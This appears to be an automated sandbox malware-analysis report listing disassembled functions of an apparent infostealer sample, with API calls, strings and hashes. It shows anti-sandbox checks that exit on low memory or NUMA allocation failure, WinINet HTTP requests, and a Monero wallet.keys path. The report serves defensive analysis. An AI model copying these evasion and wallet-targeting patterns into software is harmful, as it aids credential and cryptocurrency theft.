Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 7621f2aa9c37234910c4804ff26bcd4156fc7f6a262657eb697674f27c96c7aa
Instruction ID: e88b16cf17dfe0b58a53a56628e1a7855489193125b5f665e62af0c3af980f6a
Opcode Fuzzy Hash: 7621f2aa9c37234910c4804ff26bcd4156fc7f6a262657eb697674f27c96c7aa
Instruction Fuzzy Hash: E8E156B1A1060C9BCB14FBA0DC56EFD737CAF55340F508118B60A66897EF746A0EDB92

Function 000F17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 000F17C5
ExitProcess.KERNEL32 ref: 000F17D1

Strings

block, xrefs: 000F17B7

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: d29cf70b5070c9723d02c1ea7c86b3e0d061073cd7b20700adda20c57929496c
Instruction ID: 0d008121be2cf07fc2aacc19304803f0d88b7b5cb3917eb80a729284693f6a0b
Opcode Fuzzy Hash: d29cf70b5070c9723d02c1ea7c86b3e0d061073cd7b20700adda20c57929496c
Instruction Fuzzy Hash: 22514DB4A0820DEBCB15DFA0D994BFE77B5BF44704F10404CE605A7640D7B0E952EBA2

Function 000F7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 000F7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000F757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 000F7603
RtlAllocateHeap.NTDLL(00000000), ref: 000F760A
wsprintfA.USER32 ref: 000F7640

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Strings

C, xrefs: 000F754C
\, xrefs: 000F7560
:, xrefs: 000F755C

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 1fae3e5f43d44cd12e37522cdd0deca783b9fea442f20cbe8aae35652ea4b423
Instruction ID: c0e640dcd4b2f1784a0227b326ad33c2ecbba0c8a173d10b016c4f4e182a25be
Opcode Fuzzy Hash: 1fae3e5f43d44cd12e37522cdd0deca783b9fea442f20cbe8aae35652ea4b423
Instruction Fuzzy Hash: AA41A3B1D0464CABDF21DF94DC45BEEBBB8AF08704F104099F609A7281DB746A44DBA6

Function 000F69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,012223B0), ref: 000F98A1
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,01222218), ref: 000F98BA
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,01222320), ref: 000F98D2
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,01222410), ref: 000F98EA
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,01222350), ref: 000F9903
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,01228F88), ref: 000F991B
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,01215AD0), ref: 000F9933
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,01215C10), ref: 000F994C
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,01222308), ref: 000F9964
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,012222A8), ref: 000F997C
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,01222488), ref: 000F9995
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,01222230), ref: 000F99AD
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,01215D50), ref: 000F99C5
Part of subcall function 000F9860: GetProcAddress.KERNEL32(74DD0000,012223E0), ref: 000F99DE

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000E11D0: ExitProcess.KERNEL32 ref: 000E1211

Part of subcall function 000E1160: GetSystemInfo.KERNEL32(?), ref: 000E116A
Part of subcall function 000E1160: ExitProcess.KERNEL32 ref: 000E117E

Part of subcall function 000E1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 000E112B
Part of subcall function 000E1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 000E1132
Part of subcall function 000E1110: ExitProcess.KERNEL32 ref: 000E1143

Part of subcall function 000E1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 000E123E
Part of subcall function 000E1220: __aulldiv.LIBCMT ref: 000E1258
Part of subcall function 000E1220: __aulldiv.LIBCMT ref: 000E1266
Part of subcall function 000E1220: ExitProcess.KERNEL32 ref: 000E1294

Part of subcall function 000F6770: GetUserDefaultLangID.KERNEL32 ref: 000F6774

Part of subcall function 000E1190: ExitProcess.KERNEL32 ref: 000E11C6

Part of subcall function 000F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000E11B7), ref: 000F7880
Part of subcall function 000F7850: RtlAllocateHeap.NTDLL(00000000), ref: 000F7887
Part of subcall function 000F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 000F789F

Part of subcall function 000F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 000F7910
Part of subcall function 000F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 000F7917
Part of subcall function 000F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 000F792F

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01228F58,?,0010110C,?,00000000,?,00101110,?,00000000,00100AEF), ref: 000F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 000F6AE8
CloseHandle.KERNEL32(00000000), ref: 000F6AF9
Sleep.KERNEL32(00001770), ref: 000F6B04
CloseHandle.KERNEL32(?,00000000,?,01228F58,?,0010110C,?,00000000,?,00101110,?,00000000,00100AEF), ref: 000F6B1A
ExitProcess.KERNEL32 ref: 000F6B22

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 853f0be0bfd70be4f4c258006f1560c5a4fdd74297283d49bcdbef34b5ce2d4c
Instruction ID: 22b8d409044b47cfda9ddad38bfad5886524e3ee32618cca730031cd4c998fec
Opcode Fuzzy Hash: 853f0be0bfd70be4f4c258006f1560c5a4fdd74297283d49bcdbef34b5ce2d4c
Instruction Fuzzy Hash: DF310D70A0420CABDB05F7E0DC56AFE7778AF45340F104528F306A6593DFB05A06E6A6

Function 000E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 000E123E
__aulldiv.LIBCMT ref: 000E1258
__aulldiv.LIBCMT ref: 000E1266
ExitProcess.KERNEL32 ref: 000E1294

Strings

@, xrefs: 000E1233

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 584558b25ef4ba526e5705cec2edee6ee2ee7210378e93b91d1fa374ddfc1780
Instruction ID: 8f8133f6d2becf69113558981bb973e8e57cb3fb0df2a3ec8e43abd057b71b8a
Opcode Fuzzy Hash: 584558b25ef4ba526e5705cec2edee6ee2ee7210378e93b91d1fa374ddfc1780
Instruction Fuzzy Hash: 3B01ADB0D40348BFEF10DBE0CC49BEEBBB8AB40701F208009E704B62C0C7B456519799

Function 000F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01228F58,?,0010110C,?,00000000,?,00101110,?,00000000,00100AEF), ref: 000F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 000F6AE8
CloseHandle.KERNEL32(00000000), ref: 000F6AF9
Sleep.KERNEL32(00001770), ref: 000F6B04
CloseHandle.KERNEL32(?,00000000,?,01228F58,?,0010110C,?,00000000,?,00101110,?,00000000,00100AEF), ref: 000F6B1A
ExitProcess.KERNEL32 ref: 000F6B22

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 48617f125728e43b2dfdae651949b24b631c3aaa924407bc5133e33e2409e0ee
Instruction ID: d89d26cae8bf398ca0b65834ccd98f2272f18d6abde37495c5d8a2f8f035392d
Opcode Fuzzy Hash: 48617f125728e43b2dfdae651949b24b631c3aaa924407bc5133e33e2409e0ee
Instruction Fuzzy Hash: DDF05E70A4020DABE721ABA0DC1ABBE7B78EF04701F104518F713E19C2CBB15541FA57

Function 000E47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 000E4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 000E4849

Strings

<, xrefs: 000E47C9

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 20bdebd19cbc9d71065776cc2287ba823b9e3d978fc0020b0921a8c4a945b03e
Instruction ID: cc81688010514534fa31dad8a03c98ce91e86c0619dd34b7f6ac88d414b36e48
Opcode Fuzzy Hash: 20bdebd19cbc9d71065776cc2287ba823b9e3d978fc0020b0921a8c4a945b03e
Instruction Fuzzy Hash: B72142B1D00209ABDF14DFA4E845ADD7774FB45310F108625F519A72C1DB706609DF92

Function 000F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Part of subcall function 000E6280: InternetOpenA.WININET(00100DFE,00000001,00000000,00000000,00000000), ref: 000E62E1
Part of subcall function 000E6280: StrCmpCA.SHLWAPI(?,0122E878), ref: 000E6303
Part of subcall function 000E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 000E6335
Part of subcall function 000E6280: HttpOpenRequestA.WININET(00000000,GET,?,0122E458,00000000,00000000,00400100,00000000), ref: 000E6385
Part of subcall function 000E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000E63BF
Part of subcall function 000E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000E63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 000F5228

Strings

ERROR, xrefs: 000F521A
ERROR, xrefs: 000F5273

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: e44451ebc4816bdea298405b77f93372a55e074f374bfe93399e5088bd9a6065
Instruction ID: a7c0b5e7ef8a3932c733ed56872167b47202121b705dec435ef0115a5e751743
Opcode Fuzzy Hash: e44451ebc4816bdea298405b77f93372a55e074f374bfe93399e5088bd9a6065
Instruction Fuzzy Hash: 5C111F70A0054CABCB14FF60DD52AFD7338AF51340F408158FA0E5A993EF746B0AD692

Function 000F78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 000F7910
RtlAllocateHeap.NTDLL(00000000), ref: 000F7917
GetComputerNameA.KERNEL32(?,00000104), ref: 000F792F

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 2c71eb02c1579684f99239b02e03d609601841b57d3f7e5d56c4f9f873a96cb9
Instruction ID: 3ec2a951ab87ea4ec7dce97030c8ca44077afea66da2cbd5bb85616962d4757c
Opcode Fuzzy Hash: 2c71eb02c1579684f99239b02e03d609601841b57d3f7e5d56c4f9f873a96cb9
Instruction Fuzzy Hash: 570186B1A08609EBC710DF94DD45BAEBBBCF704B11F10421AFA45E3680C77459018BA2

Function 000E1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 000E112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 000E1132
ExitProcess.KERNEL32 ref: 000E1143

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 7491071f18a9ec7394fc5588d7feec8139cb913b9a1d6a326310f1659ed8a2b8
Instruction ID: 0ea6914ad5c1ea0e7c6754fcc813622654b994ab690d835a41455bbc6b4c68a5
Opcode Fuzzy Hash: 7491071f18a9ec7394fc5588d7feec8139cb913b9a1d6a326310f1659ed8a2b8
Instruction Fuzzy Hash: 50E08670945348FFE7206BA19C0AB4C7ABCAB04B01F100048F709B61C0C6B426019699

Function 000E10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 000E10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 000E10F7

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
